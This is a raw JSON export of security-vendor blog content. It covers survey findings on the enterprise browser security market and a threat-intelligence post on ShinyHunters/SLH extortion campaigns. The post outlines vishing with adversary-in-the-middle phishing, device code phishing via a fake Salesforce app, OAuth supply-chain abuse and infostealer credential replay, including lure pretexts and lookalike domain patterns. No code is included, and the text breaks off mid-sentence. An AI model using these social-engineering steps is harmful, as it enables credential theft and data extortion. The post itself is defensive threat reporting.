enterprise browser solutions already take up ",{"data":34363,"marks":34364,"value":34366,"nodeType":864},{},[34365],{"type":899},"12.6% of the average security budget",{"data":34368,"marks":34369,"value":34370,"nodeType":864},{},[]," — a substantial allocation for a category that didn't exist as a standalone line item a few years ago. And 85% of respondents expect to increase that spend over the next 12–24 months, with a quarter expecting significant increases.",{"data":34372,"content":34373,"nodeType":860},{},[34374],{"data":34375,"marks":34376,"value":34377,"nodeType":864},{},[],"Where the money comes from tells its own story. The most common funding model is a discrete line item within security program budgets (31%) or a dedicated secure browsing budget (30%). When organizations pull from an existing program budget, web security (26%) and endpoint security (21%) are the most common sources — while SASE/SSE accounts for just 9%, despite SASE vendors being the second most popular vendor category. That disconnect between vendor preference and budget origin suggests the SASE-bundled buying motion may be more aspirational than operational.",{"data":34379,"content":34380,"nodeType":860},{},[34381],{"data":34382,"marks":34383,"value":34384,"nodeType":864},{},[],"IT operations leadership is the top stakeholder in 82% of evaluations, with CISO and security leadership at 64% and CIOs at 42%. Day-to-day management sits primarily with IT Ops (77%) and SecOps (50%). This dual stakeholder picture — IT operations driving evaluation, security leadership providing strategic direction — shapes the competitive landscape in ways we'll come back to.",{"data":34386,"content":34387,"nodeType":1005},{},[],{"data":34389,"content":34390,"nodeType":1009},{},[34391],{"data":34392,"marks":34393,"value":34395,"nodeType":864},{},[34394],{"type":899},"4. AI is accelerating both the threat and the use case",{"data":34397,"content":34398,"nodeType":860},{},[34399],{"data":34400,"marks":34401,"value":34402,"nodeType":864},{},[],"AI shows up in this report from two directions, mirroring how it is reshaping the security landscape itself.",{"data":34404,"content":34405,"nodeType":860},{},[34406,34410,34415],{"data":34407,"marks":34408,"value":34409,"nodeType":864},{},[],"On the threat side, ",{"data":34411,"marks":34412,"value":34414,"nodeType":864},{},[34413],{"type":899},"AI-powered targeted phishing and social engineering is the top emerging concern",{"data":34416,"marks":34417,"value":34418,"nodeType":864},{},[],", cited by 75% of respondents as either very concerning or concerning. Data leakage via unsanctioned AI applications comes second at 71%, followed by deepfake/AI-generated malicious content at 69% and credential harvesting via fake AI or SaaS login pages at 66%. Every one of these threat categories involves the browser — AI-enhanced phishing lands in the browser, AI data leakage happens through browser-based AI tools, and fake AI login pages are browser-based credential harvesting.",{"data":34420,"content":34424,"nodeType":996},{"target":34421},{"sys":34422},{"id":34423,"type":1001,"linkType":1002},"2ajv2i5wn2GzKuyynQGlvq",[],{"data":34426,"content":34427,"nodeType":860},{},[34428,34432,34437],{"data":34429,"marks":34430,"value":34431,"nodeType":864},{},[],"On the adoption side, the picture is almost universal — and almost universally under-governed. ",{"data":34433,"marks":34434,"value":34436,"nodeType":864},{},[34435],{"type":899},"92% of organizations now allow employees to use public GenAI applications",{"data":34438,"marks":34439,"value":34440,"nodeType":864},{},[],", and virtually every organization has some kind of policy position: 37% have sanctioned one public app (with everything else unsanctioned), 39% have sanctioned multiple public apps (with others unsanctioned), and 23% restrict employees to a corporate instance while the public versions are unsanctioned. ",{"data":34442,"content":34443,"nodeType":860},{},[34444],{"data":34445,"marks":34446,"value":34447,"nodeType":864},{},[],"Even the 8% who don't allow GenAI at all have taken a policy position. Essentially 100% of organizations have a GenAI policy — but for the vast majority, that policy designates a large portion of public AI tool usage as unsanctioned, which raises the immediate question of whether they have the tooling to actually enforce it.",{"data":34449,"content":34450,"nodeType":860},{},[34451],{"data":34452,"marks":34453,"value":34454,"nodeType":864},{},[],"The answer, based on the current tooling landscape, appears to be: not quite. When Omdia asked how organizations currently secure GenAI usage, 58% rely on secure web gateways — tools that see traffic metadata but cannot observe what a user actually does inside a GenAI session — while 57% use secure browsing solutions and 57% use SaaS security solutions. ",{"data":34456,"content":34457,"nodeType":860},{},[34458],{"data":34459,"marks":34460,"value":34461,"nodeType":864},{},[],"An SWG can tell you that a user visited ChatGPT, but it cannot tell you whether they pasted your company's source code into the prompt. That distinction — between knowing where data went and knowing what the user actually did — is the fundamental gap that browser-layer visibility exists to close, and it is exactly the gap that makes GenAI policies unenforceable without browser-layer tooling.",{"data":34463,"content":34464,"nodeType":860},{},[34465,34469,34474],{"data":34466,"marks":34467,"value":34468,"nodeType":864},{},[],"The use case data reflects this. When Omdia asked about the most important use cases for a secure browsing solution, ",{"data":34470,"marks":34471,"value":34473,"nodeType":864},{},[34472],{"type":899},"generative AI application security came in first at 59%",{"data":34475,"marks":34476,"value":34477,"nodeType":864},{},[],", followed by data loss prevention at 51% and general web security enhancement at 42%. The feature priorities tell a consistent story: AI-powered threat detection and response (52%) and advanced GenAI usage controls and monitoring (41%) were the top two capabilities organizations said would be most important in a purchase decision. ",{"data":34479,"content":34480,"nodeType":860},{},[34481],{"data":34482,"marks":34483,"value":34484,"nodeType":864},{},[],"AI is both the top threat concern and the top use case for browser security — and it is a browser problem at both ends, because every LLM interaction, every prompt containing sensitive data, and every AI agent authorization happens inside a browser session.",{"data":34486,"content":34487,"nodeType":1005},{},[],{"data":34489,"content":34490,"nodeType":1009},{},[34491],{"data":34492,"marks":34493,"value":34495,"nodeType":864},{},[34494],{"type":899},"5. Organizations that have deployed secure enterprise browser solutions are seeing real results",{"data":34497,"content":34498,"nodeType":860},{},[34499],{"data":34500,"marks":34501,"value":34502,"nodeType":864},{},[],"One of the most useful sections in Omdia's report is the benefits data — what organizations that have deployed SEB solutions are actually getting out of them.",{"data":34504,"content":34505,"nodeType":860},{},[34506,34510,34515],{"data":34507,"marks":34508,"value":34509,"nodeType":864},{},[],"The top realized benefit is ",{"data":34511,"marks":34512,"value":34514,"nodeType":864},{},[34513],{"type":899},"improved data security, cited by 58% of respondents",{"data":34516,"marks":34517,"value":34518,"nodeType":864},{},[],", followed by fewer security incidents (49%), better visibility and auditing (47%), improved user experience (44%), and simplified configuration and policy management (41%). The picture that emerges is not just a security story but an operational one: organizations are seeing fewer incidents, better visibility, and simpler management alongside the security outcomes.",{"data":34520,"content":34521,"nodeType":860},{},[34522],{"data":34523,"marks":34524,"value":34525,"nodeType":864},{},[],"The 49% who cite fewer security incidents as a realized benefit is the number that matters most here, because it directly connects SEB deployment to measurable risk reduction. Organizations aren't just buying tools and hoping — they're deploying them and seeing fewer successful attacks as a result.",{"data":34527,"content":34528,"nodeType":1005},{},[],{"data":34530,"content":34531,"nodeType":1009},{},[34532],{"data":34533,"marks":34534,"value":34536,"nodeType":864},{},[34535],{"type":899},"6. The market wants protection in existing browsers, not migration",{"data":34538,"content":34539,"nodeType":860},{},[34540,34544,34549],{"data":34541,"marks":34542,"value":34543,"nodeType":864},{},[],"When Omdia asked what attributes matter most in a secure enterprise browser solution, ",{"data":34545,"marks":34546,"value":34548,"nodeType":864},{},[34547],{"type":899},"\"ability to use existing browsers\" ranked as the fourth most important attribute at 48%",{"data":34550,"marks":34551,"value":34552,"nodeType":864},{},[]," — behind only integration with other security tools (57%), controls over generative AI application usage (53%), and centralized policy enforcement (52%). ",{"data":34554,"content":34555,"nodeType":860},{},[34556],{"data":34557,"marks":34558,"value":34559,"nodeType":864},{},[],"That 48% figure, combined with 80% of respondents saying they expect to use an SEB solution as an integrated or alongside component rather than a replacement for existing tools, points to a clear market preference: organizations want browser security that works with their existing browser estate, not a migration to a new one.",{"data":34561,"content":34562,"nodeType":860},{},[34563,34567,34576],{"data":34564,"marks":34565,"value":34566,"nodeType":864},{},[],"This is consistent with what we hear from security leaders directly. As ",{"data":34568,"content":34570,"nodeType":883},{"uri":34569},"https://pushsecurity.com/customer-stories",[34571],{"data":34572,"marks":34573,"value":34575,"nodeType":864},{},[34574],{"type":1455},"Josh Lemos put it: ",{"data":34577,"marks":34578,"value":34579,"nodeType":864},{},[],"\"We looked at the full-stack enterprise browser approach, but converging on a single platform was tough. Push gave me the security instrumentation and context I needed without onerous headwinds.\" The deployment model matters because it determines adoption velocity — and a tool that requires browser migration introduces friction that delays time to value.",{"data":34581,"content":34582,"nodeType":860},{},[34583,34587],{"data":34584,"marks":34585,"value":34586,"nodeType":864},{},[],"Push was built around this insight from day one. As the secure enterprise browser extension for security teams, Push turns any browser — managed or unmanaged, including agentic browsers — into a telemetry source and control point the moment it's installed. It has been rolled out to 100,000 users in under an hour during normal office hours with zero downtime. ",{"data":34588,"marks":34589,"value":34591,"nodeType":864},{},[34590],{"type":899},"That is a deployment model that matches what Omdia's respondents are asking for.",{"data":34593,"content":34594,"nodeType":1005},{},[],{"data":34596,"content":34597,"nodeType":1009},{},[34598],{"data":34599,"marks":34600,"value":34602,"nodeType":864},{},[34601],{"type":899},"7. Dedicated vendors lead over platform plays",{"data":34604,"content":34605,"nodeType":860},{},[34606,34610,34615],{"data":34607,"marks":34608,"value":34609,"nodeType":864},{},[],"When Omdia asked which category of vendor organizations primarily use or expect to use for secure enterprise browsing, ",{"data":34611,"marks":34612,"value":34614,"nodeType":864},{},[34613],{"type":899},"36% chose a dedicated SEB vendor",{"data":34616,"marks":34617,"value":34618,"nodeType":864},{},[]," — the largest single category. SASE/network security vendors came second at 29%, followed by traditional VDI/desktop virtualization vendors at 19% and endpoint platform vendors at 15%.",{"data":34620,"content":34621,"nodeType":860},{},[34622],{"data":34623,"marks":34624,"value":34625,"nodeType":864},{},[],"The dedicated category leads, and the reason isn't just first-mover advantage — it's architectural. The alternative paths each come with structural constraints. SASE and SSE platforms are network-centric: they see traffic metadata and enforce URL categorization, but they can't observe the rendered page inside a browser tab — the DOM structure, the script behavior, the credential entry that distinguishes a legitimate login from an AiTM reverse-proxy kit. ",{"data":34627,"content":34628,"nodeType":860},{},[34629],{"data":34630,"marks":34631,"value":34632,"nodeType":864},{},[],"Endpoint platforms that bolt on browser visibility are still anchored to the OS layer, solving for browser exploit prevention rather than in-session behavioral detection of the attacks that actually dominate — phishing, credential theft, session hijacking, extension compromise. And when large platform vendors acquire browser security capabilities, the integration work takes years rather than months, during which detection depth sits in a transitional state. ",{"data":34634,"content":34635,"nodeType":860},{},[34636],{"data":34637,"marks":34638,"value":34639,"nodeType":864},{},[],"Dedicated browser-native vendors start from a different premise entirely: the browser isn't a supplementary signal feeding into someone else's SASE pipeline or XDR correlation engine — it is the telemetry source and the control point. The browser is the only place where you get simultaneous visibility into both the attacker's technique and the employee's action within the same session, because the phishing page, the credential submission, the token exchange, and the data exfiltration all happen inside the same tab. No network appliance, endpoint agent, or identity provider log can see all of that, because none of them are present where the interaction occurs.",{"data":34641,"content":34642,"nodeType":860},{},[34643],{"data":34644,"marks":34645,"value":34646,"nodeType":864},{},[],"For security teams evaluating SEB solutions, the architecture matters more than the vendor category label. The capabilities Omdia's respondents ranked highest — integration with existing tools, GenAI controls, centralized policy enforcement, and the ability to use existing browsers — all point toward solutions that deliver detection depth through a lightweight deployment model, without browser migration and without the integration debt of a platform acquisition.",{"data":34648,"content":34649,"nodeType":1005},{},[],{"data":34651,"content":34652,"nodeType":860},{},[34653],{"data":34654,"marks":34655,"value":34656,"nodeType":864},{},[],"Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required. ",{"data":34658,"content":34659,"nodeType":860},{},[34660],{"data":34661,"marks":34662,"value":1689,"nodeType":864},{},[],{"data":34664,"content":34665,"nodeType":860},{},[34666,34669,34676],{"data":34667,"marks":34668,"value":21,"nodeType":864},{},[],{"data":34670,"content":34671,"nodeType":883},{"uri":1700},[34672],{"data":34673,"marks":34674,"value":8163,"nodeType":864},{},[34675],{"type":1455},{"data":34677,"marks":34678,"value":2719,"nodeType":864},{},[],"7 things Omdia's latest report tells us about the secure enterprise browser market","Unpacking the latest research report from Omdia and what it means for the secure enterprise browser market.","2026-05-13T00:00:00.000Z","7-things-omdias-latest-report-tells-us-about-the-secure-enterprise-browser-market",{"items":34684},[34685,34687],{"sys":34686,"name":297},{"id":2732},{"sys":34688,"name":2729},{"id":2728},{"items":34690},[34691],{"fullName":2736,"firstName":2737,"jobTitle":2738,"profilePicture":34692},{"url":2740},{"__typename":2059,"sys":34694,"content":34696,"title":35658,"synopsis":35659,"hashTags":59,"publishedDate":6586,"slug":35660,"tagsCollection":35661,"authorsCollection":35667},{"id":34695},"3jF1fypt08TNlSoWuoMWhj",{"json":34697},{"data":34698,"content":34699,"nodeType":856},{},[34700,34726,34757,34800,34843,34849,34861,34864,34872,34923,34930,34953,34959,34962,34970,34998,35005,35013,35019,35022,35030,35037,35055,35062,35104,35111,35114,35122,35141,35196,35199,35207,35225,35243,35250,35257,35269,35281,35293,35305,35321,35329,35336,35339,35345,35351,35366,35369,35377,35395,35652],{"data":34701,"content":34702,"nodeType":860},{},[34703,34707,34713,34717,34722],{"data":34704,"marks":34705,"value":34706,"nodeType":864},{},[],"ShinyHunters and the broader SLH (",{"data":34708,"content":34709,"nodeType":883},{"uri":6237},[34710],{"data":34711,"marks":34712,"value":6242,"nodeType":864},{},[],{"data":34714,"marks":34715,"value":34716,"nodeType":864},{},[],") collective have claimed breaches at thousands of organizations over the past twelve months across retail, technology, aviation, financial services, media, gaming, and education, in what amounts to the most sustained data theft and extortion operation in recent cybercrime history. SLH's genealogy traces through a merger of Scattered Spider, Lapsus$, and ShinyHunters, all parts of ",{"data":34718,"marks":34719,"value":34721,"nodeType":864},{},[34720],{"type":899},"the Com",{"data":34723,"marks":34724,"value":34725,"nodeType":864},{},[],", a broader community of English-speaking cybercriminals with international links. ",{"data":34727,"content":34728,"nodeType":860},{},[34729,34733,34741,34745,34753],{"data":34730,"marks":34731,"value":34732,"nodeType":864},{},[],"The confirmed victim list reads like a Fortune 500 directory: Coca-Cola, Cisco, Qantas, Coinbase, ADT, Aflac, SoundCloud, Rockstar Games, Charter Communications, and recently ",{"data":34734,"content":34736,"nodeType":883},{"uri":34735},"https://www.bleepingcomputer.com/news/security/instructure-confirms-data-breach-shinyhunters-claims-attack/",[34737],{"data":34738,"marks":34739,"value":34740,"nodeType":864},{},[],"Instructure",{"data":34742,"marks":34743,"value":34744,"nodeType":864},{},[]," — whose breach ",{"data":34746,"content":34748,"nodeType":883},{"uri":34747},"https://krebsonsecurity.com/2026/05/canvas-breach-disrupts-schools-colleges-nationwide/",[34749],{"data":34750,"marks":34751,"value":34752,"nodeType":864},{},[],"disrupted schools and universities nationwide",{"data":34754,"marks":34755,"value":34756,"nodeType":864},{},[]," during final exams — among dozens more named publicly and likely many more that haven't been (breaches settled quickly behind closed doors don't always make it into the public eye). ShinyHunters alone claimed over 1.5 billion stolen Salesforce records from a single campaign targeting more than 1,000 organizations.",{"data":34758,"content":34759,"nodeType":860},{},[34760,34764,34772,34776,34784,34788,34796],{"data":34761,"marks":34762,"value":34763,"nodeType":864},{},[],"Additional operating clusters, including Cordial Spider and Snarky Spider (which CrowdStrike ",{"data":34765,"content":34767,"nodeType":883},{"uri":34766},"https://cyberscoop.com/crowdstrike-cordial-spider-snarky-spider-extortion-attacks/",[34768],{"data":34769,"marks":34770,"value":34771,"nodeType":864},{},[],"characterizes as the new generation of Scattered Spider",{"data":34773,"marks":34774,"value":34775,"nodeType":864},{},[],") run parallel campaigns against different target sectors, unified not by shared infrastructure but by a shared playbook of techniques that exploit the structural weakness in modern SaaS-first organizations. ",{"data":34777,"content":34779,"nodeType":883},{"uri":34778},"https://github.com/PaloAltoNetworks/Unit42-timely-threat-intel/blob/main/2026-03-12-Vishing-Campaigns-Lead-to-Data-Theft-and-Extortion.txt",[34780],{"data":34781,"marks":34782,"value":34783,"nodeType":864},{},[],"Unit 42 documented",{"data":34785,"marks":34786,"value":34787,"nodeType":864},{},[]," these groups moving from initial compromise to complete data exfiltration in under an hour — faster than most organizations can even begin to respond. Newer groups with links to the SLH ecosystem like CoinbaseCartel have also continued the tradition of weaponizing stolen credentials from the infostealer economy at scale, as ShinyHunters did in the ",{"data":34789,"content":34791,"nodeType":883},{"uri":34790},"https://www.bleepingcomputer.com/news/security/shinyhunters-claims-15-billion-salesforce-records-stolen-in-drift-hacks/",[34792],{"data":34793,"marks":34794,"value":34795,"nodeType":864},{},[],"2024 Snowflake breach",{"data":34797,"marks":34798,"value":34799,"nodeType":864},{},[]," that compromised over 165 customer environments (and claimed another billion-plus records).",{"data":34801,"content":34802,"nodeType":860},{},[34803,34807,34815,34819,34827,34831,34839],{"data":34804,"marks":34805,"value":34806,"nodeType":864},{},[],"Not every SLH breach is browser-based — the Instructure breach (275 million individuals, ~330 school login portals defaced) began with a Salesforce tenant compromise in September 2025, but resurfaced in May 2026 after attackers exploited a ",{"data":34808,"content":34810,"nodeType":883},{"uri":34809},"https://www.bitdefender.com/en-gb/blog/businessinsights/technical-advisory-shinyhunters-breach-instructure-canvas-lms",[34811],{"data":34812,"marks":34813,"value":34814,"nodeType":864},{},[],"vulnerability affecting Canvas's Free-For-Teacher program",{"data":34816,"marks":34817,"value":34818,"nodeType":864},{},[]," (it's now been confirmed that Instructure \"",{"data":34820,"content":34822,"nodeType":883},{"uri":34821},"https://www.instructure.com/incident_update",[34823],{"data":34824,"marks":34825,"value":34826,"nodeType":864},{},[],"reached a settlement",{"data":34828,"marks":34829,"value":34830,"nodeType":864},{},[],"\" for the deletion of the data, and shut down the free account tier), while the Coinbase breach cost ",{"data":34832,"content":34834,"nodeType":883},{"uri":34833},"https://www.bleepingcomputer.com/news/security/coinbase-discloses-breach-faces-up-to-400-million-in-losses/",[34835],{"data":34836,"marks":34837,"value":34838,"nodeType":864},{},[],"$180M–400M through insider bribery",{"data":34840,"marks":34841,"value":34842,"nodeType":864},{},[]," — but these are the exceptions that prove the rule. ",{"data":34844,"content":34848,"nodeType":996},{"target":34845},{"sys":34846},{"id":34847,"type":1001,"linkType":1002},"4qNrbDyMJIumQfdbh9YVkU",[],{"data":34850,"content":34851,"nodeType":860},{},[34852,34857],{"data":34853,"marks":34854,"value":34856,"nodeType":864},{},[34855],{"type":899},"The vast majority of SLH campaigns over the past year converge on three browser-based attack vectors: vishing combined with AiTM phishing, device code phishing exploiting account authorization flows, and OAuth supply chain attacks through compromised third-party integrators.",{"data":34858,"marks":34859,"value":34860,"nodeType":864},{},[]," Each is well-documented, each has produced confirmed victims at scale, and each is detectable or preventable through browser-layer security controls.",{"data":34862,"content":34863,"nodeType":1005},{},[],{"data":34865,"content":34866,"nodeType":1009},{},[34867],{"data":34868,"marks":34869,"value":34871,"nodeType":864},{},[34870],{"type":899},"Vector 1: Vishing combined with AiTM phishing",{"data":34873,"content":34874,"nodeType":860},{},[34875,34879,34886,34890,34898,34902,34909,34913,34920],{"data":34876,"marks":34877,"value":34878,"nodeType":864},{},[],"The most visible campaign right now pairs targeted voice calls with adversary-in-the-middle phishing pages — an approach that ",{"data":34880,"content":34881,"nodeType":883},{"uri":26962},[34882],{"data":34883,"marks":34884,"value":34885,"nodeType":864},{},[],"Mandiant",{"data":34887,"marks":34888,"value":34889,"nodeType":864},{},[],",",{"data":34891,"content":34893,"nodeType":883},{"uri":34892},"https://www.crowdstrike.com/en-us/blog/defending-against-cordial-spider-and-snarky-spider-with-falcon-shield/",[34894],{"data":34895,"marks":34896,"value":34897,"nodeType":864},{},[]," CrowdStrike",{"data":34899,"marks":34900,"value":34901,"nodeType":864},{},[],", and",{"data":34903,"content":34904,"nodeType":883},{"uri":34778},[34905],{"data":34906,"marks":34907,"value":34908,"nodeType":864},{},[]," Unit 42",{"data":34910,"marks":34911,"value":34912,"nodeType":864},{},[]," have all documented from the incident response side, and which Push has ",{"data":34914,"content":34915,"nodeType":883},{"uri":15592},[34916],{"data":34917,"marks":34918,"value":34919,"nodeType":864},{},[],"documented from inside the attacker's own operator panels",{"data":34921,"marks":34922,"value":2924,"nodeType":864},{},[],{"data":34924,"content":34925,"nodeType":860},{},[34926],{"data":34927,"marks":34928,"value":34929,"nodeType":864},{},[],"An attacker impersonating IT support calls the target employee, establishes urgency — often citing a \"mandatory passkey rollout\" or a \"security compliance update\" — and directs them to a victim-branded AiTM phishing page (typically at a domain like \u003Ccompany>sso.com or \u003Ccompany>internal.com). The attack is processed by a live human in real time, relaying credentials and MFA codes to the legitimate identity provider as they are entered, capturing the resulting session token, and granting the attacker an authenticated session. ",{"data":34931,"content":34932,"nodeType":860},{},[34933,34937,34944,34948],{"data":34934,"marks":34935,"value":34936,"nodeType":864},{},[],"One of the reasons that this method is becoming so widespread is the commoditization of effective tools. Push's ",{"data":34938,"content":34939,"nodeType":883},{"uri":15592},[34940],{"data":34941,"marks":34942,"value":34943,"nodeType":864},{},[],"infiltration of the criminal phishing panels",{"data":34945,"marks":34946,"value":34947,"nodeType":864},{},[]," identified over 400 linked domains across four distinct infrastructure clusters. ",{"data":34949,"marks":34950,"value":34952,"nodeType":864},{},[34951],{"type":899},"This mirrors the pattern that turned AiTM phishing from a specialist capability into an industrialized market with competing PhaaS platforms, but with the added complication that voice phishing as the delivery vector makes the attack invisible to traditional anti-phishing controls at the email layer.",{"data":34954,"content":34958,"nodeType":996},{"target":34955},{"sys":34956},{"id":34957,"type":1001,"linkType":1002},"1Yhthl0PILGW7EmCcZUrNv",[],{"data":34960,"content":34961,"nodeType":1005},{},[],{"data":34963,"content":34964,"nodeType":1009},{},[34965],{"data":34966,"marks":34967,"value":34969,"nodeType":864},{},[34968],{"type":899},"Vector 2: Vishing combined with device code phishing",{"data":34971,"content":34972,"nodeType":860},{},[34973,34976,34983,34987,34994],{"data":34974,"marks":34975,"value":2761,"nodeType":864},{},[],{"data":34977,"content":34978,"nodeType":883},{"uri":6259},[34979],{"data":34980,"marks":34981,"value":34982,"nodeType":864},{},[],"ShinyHunters Salesforce campaign",{"data":34984,"marks":34985,"value":34986,"nodeType":864},{},[]," that ran through 2025 and into 2026 used device code phishing as one of its core methods, ",{"data":34988,"content":34989,"nodeType":883},{"uri":34790},[34990],{"data":34991,"marks":34992,"value":34993,"nodeType":864},{},[],"compromising over 1,000 organizations and claiming 1.5 billion stolen records",{"data":34995,"marks":34996,"value":34997,"nodeType":864},{},[]," — including an attempted extortion of Salesforce itself. The attack involved registering an attacker-controlled \"DataLoader\" application mimicking a legitimate Salesforce tool, configuring it to request broad OAuth scopes including full API access and refresh token generation, and guiding victims through the device authorization flow via vishing calls.",{"data":34999,"content":35000,"nodeType":860},{},[35001],{"data":35002,"marks":35003,"value":35004,"nodeType":864},{},[],"Device code phishing exploits the OAuth 2.0 device authorization grant — a flow designed for devices without browsers, like smart TVs, but used in a wide range of scenarios including CLI logins — by tricking users into entering a code on Microsoft's (or another identity provider's) legitimate verification page. Since the victim is usually signed into the app in their browser, there’s no login at all. They simply navigate to the app’s device code login page and enter an attacker-provided code to grant the attacker an access token. ",{"data":35006,"content":35007,"nodeType":860},{},[35008],{"data":35009,"marks":35010,"value":35012,"nodeType":864},{},[35011],{"type":899},"This is what makes device code phishing structurally different from AiTM: it defeats all MFA (including passkeys) because the attack doesn’t target the login, but the authorization layer instead.",{"data":35014,"content":35018,"nodeType":996},{"target":35015},{"sys":35016},{"id":35017,"type":1001,"linkType":1002},"3ElQz8sLATnR8RY5nVlBGM",[],{"data":35020,"content":35021,"nodeType":1005},{},[],{"data":35023,"content":35024,"nodeType":1009},{},[35025],{"data":35026,"marks":35027,"value":35029,"nodeType":864},{},[35028],{"type":899},"Vector 3: OAuth supply chain attacks through compromised integrators",{"data":35031,"content":35032,"nodeType":860},{},[35033],{"data":35034,"marks":35035,"value":35036,"nodeType":864},{},[],"The third vector does not require the attacker to phish the victim organization's employees at all. Instead, it exploits the OAuth trust relationships that organizations create when they connect third-party SaaS vendors into their environments — and the consequence is that every organization that authorized one of these integrations effectively extended its security boundary to include the vendor's own security posture.",{"data":35038,"content":35039,"nodeType":860},{},[35040,35043,35051],{"data":35041,"marks":35042,"value":2761,"nodeType":864},{},[],{"data":35044,"content":35046,"nodeType":883},{"uri":35045},"https://cloud.google.com/blog/topics/threat-intelligence/data-theft-salesforce-instances-via-salesloft-drift",[35047],{"data":35048,"marks":35049,"value":35050,"nodeType":864},{},[],"Salesloft/Drift supply chain attack",{"data":35052,"marks":35053,"value":35054,"nodeType":864},{},[]," demonstrated this at scale in 2025: in an extension of the previously mentioned device code phishing campaign, the attacker compromised Salesloft's GitHub environment, used TruffleHog to find secrets, stole Drift OAuth tokens, and used them to access downstream Salesforce environments. The same pattern was later repeated at Gainsight. ",{"data":35056,"content":35057,"nodeType":860},{},[35058],{"data":35059,"marks":35060,"value":35061,"nodeType":864},{},[],"Along with the previously mentioned device code phishing attacks,  more than 1000 organizations were breached. The attackers then harvested AWS keys, Snowflake credentials, and stored passwords from breached Salesforce instances, compounding the access into progressively wider reach.",{"data":35063,"content":35064,"nodeType":860},{},[35065,35069,35077,35081,35089,35093,35100],{"data":35066,"marks":35067,"value":35068,"nodeType":864},{},[],"The same structural pattern has continued into 2026 with the Anodot supply chain compromise, which has produced confirmed breaches at ",{"data":35070,"content":35072,"nodeType":883},{"uri":35071},"https://www.bleepingcomputer.com/news/security/vimeo-data-breach-exposes-personal-information-of-119-000-people/",[35073],{"data":35074,"marks":35075,"value":35076,"nodeType":864},{},[],"Vimeo",{"data":35078,"marks":35079,"value":35080,"nodeType":864},{},[]," (119,000 users), Rockstar Games (78.6 million records), and ",{"data":35082,"content":35084,"nodeType":883},{"uri":35083},"https://www.bleepingcomputer.com/news/security/zara-data-breach-exposed-personal-information-of-197-000-people/",[35085],{"data":35086,"marks":35087,"value":35088,"nodeType":864},{},[],"Zara/Inditex",{"data":35090,"marks":35091,"value":35092,"nodeType":864},{},[]," (197,000 people), with further downstream victims likely still emerging. The ",{"data":35094,"content":35095,"nodeType":883},{"uri":4103},[35096],{"data":35097,"marks":35098,"value":35099,"nodeType":864},{},[],"Vercel breach",{"data":35101,"marks":35102,"value":35103,"nodeType":864},{},[],", which involved compromised OAuth tokens from Context.ai cascading into Google Workspace, also reinforces the same attack pattern (though it was likely not a ShinyHunters operation despite being claimed by someone pretending to be them).",{"data":35105,"content":35106,"nodeType":860},{},[35107],{"data":35108,"marks":35109,"value":35110,"nodeType":864},{},[],"A forgotten SaaS integration can easily become the pivot point for downstream compromise. The moment you authorize a third-party integration, your security boundary extends to include that vendor. If the third-party is compromised, every downstream customer organization with an active integration is exposed.",{"data":35112,"content":35113,"nodeType":1005},{},[],{"data":35115,"content":35116,"nodeType":1009},{},[35117],{"data":35118,"marks":35119,"value":35121,"nodeType":864},{},[35120],{"type":899},"The infostealer credential playbook sits alongside these attacks",{"data":35123,"content":35124,"nodeType":860},{},[35125,35129,35137],{"data":35126,"marks":35127,"value":35128,"nodeType":864},{},[],"Alongside the three vectors above, ShinyHunters has a track record of exploiting the infostealer credential economy at scale — and it predates any of them. The 2024 Snowflake campaign — 165+ customer environments compromised, over a billion records stolen from AT&T, Ticketmaster, Santander, and Advance Auto Parts among others — was built entirely on infostealer-harvested credentials replayed against MFA-less tenants, with ",{"data":35130,"content":35132,"nodeType":883},{"uri":35131},"https://cloud.google.com/blog/topics/threat-intelligence/unc5537-snowflake-data-theft-extortion",[35133],{"data":35134,"marks":35135,"value":35136,"nodeType":864},{},[],"Mandiant's investigation",{"data":35138,"marks":35139,"value":35140,"nodeType":864},{},[]," finding that 80% of compromised accounts had prior breach exposure in datasets dating back to 2020. The credentials were already circulating in criminal marketplaces; ShinyHunters simply purchased and operationalized them at industrial scale.",{"data":35142,"content":35143,"nodeType":860},{},[35144,35148,35156,35160,35168,35172,35180,35184,35192],{"data":35145,"marks":35146,"value":35147,"nodeType":864},{},[],"The same methodology powered the ",{"data":35149,"content":35151,"nodeType":883},{"uri":35150},"https://pushsecurity.com/blog/why-attackers-are-targeting-jira-with-stolen-credentials/",[35152],{"data":35153,"marks":35154,"value":35155,"nodeType":864},{},[],"HellCat Jira campaign",{"data":35157,"marks":35158,"value":35159,"nodeType":864},{},[]," through 2024–2025, and has now been industrialized as a standalone operation by ",{"data":35161,"content":35163,"nodeType":883},{"uri":35162},"https://www.halcyon.ai/jp/threat-group/coinbasecartel",[35164],{"data":35165,"marks":35166,"value":35167,"nodeType":864},{},[],"CoinbaseCartel",{"data":35169,"marks":35170,"value":35171,"nodeType":864},{},[],", another criminal group reported to be an offshoot of SLH. CoinbaseCartel's model is familiar: purchase old infostealer credentials, use them to access cloud and development environments, exfiltrate data, and demand ransom. ",{"data":35173,"content":35175,"nodeType":883},{"uri":35174},"https://www.infostealers.com/article/inside-the-coinbase-cartel-how-infostealer-credentials-fueled-a-100-company-ransomware-spree/",[35176],{"data":35177,"marks":35178,"value":35179,"nodeType":864},{},[],"Hudson Rock's analysis",{"data":35181,"marks":35182,"value":35183,"nodeType":864},{},[]," of the group's 170+ claimed victims confirms that roughly 80% had prior infostealer infections predating the attacks. The most recent named victim is ",{"data":35185,"content":35187,"nodeType":883},{"uri":35186},"https://www.bleepingcomputer.com/news/security/grafana-says-stolen-github-token-let-hackers-steal-codebase/",[35188],{"data":35189,"marks":35190,"value":35191,"nodeType":864},{},[],"Grafana",{"data":35193,"marks":35194,"value":35195,"nodeType":864},{},[],", where a GitHub token compromised via the TanStack npm supply chain attack and missed during credential rotation was used to download the codebase and attempt extortion. ",{"data":35197,"content":35198,"nodeType":1005},{},[],{"data":35200,"content":35201,"nodeType":1009},{},[35202],{"data":35203,"marks":35204,"value":35206,"nodeType":864},{},[35205],{"type":899},"These attacks all happen in the browser",{"data":35208,"content":35209,"nodeType":860},{},[35210,35214,35221],{"data":35211,"marks":35212,"value":35213,"nodeType":864},{},[],"Every one of these attack chains is a browser-based attack that either occurs in the browser (AiTM phishing, device code phishing) or could have been prevented at the browser layer (OAuth consent governance). The techniques are interchangeable — the",{"data":35215,"content":35216,"nodeType":883},{"uri":3259},[35217],{"data":35218,"marks":35219,"value":35220,"nodeType":864},{},[]," same criminal kits now offer AiTM and device code phishing side by side",{"data":35222,"marks":35223,"value":35224,"nodeType":864},{},[],", and the same threat actor (ShinyHunters) has used all three vectors across different campaigns within the same twelve-month 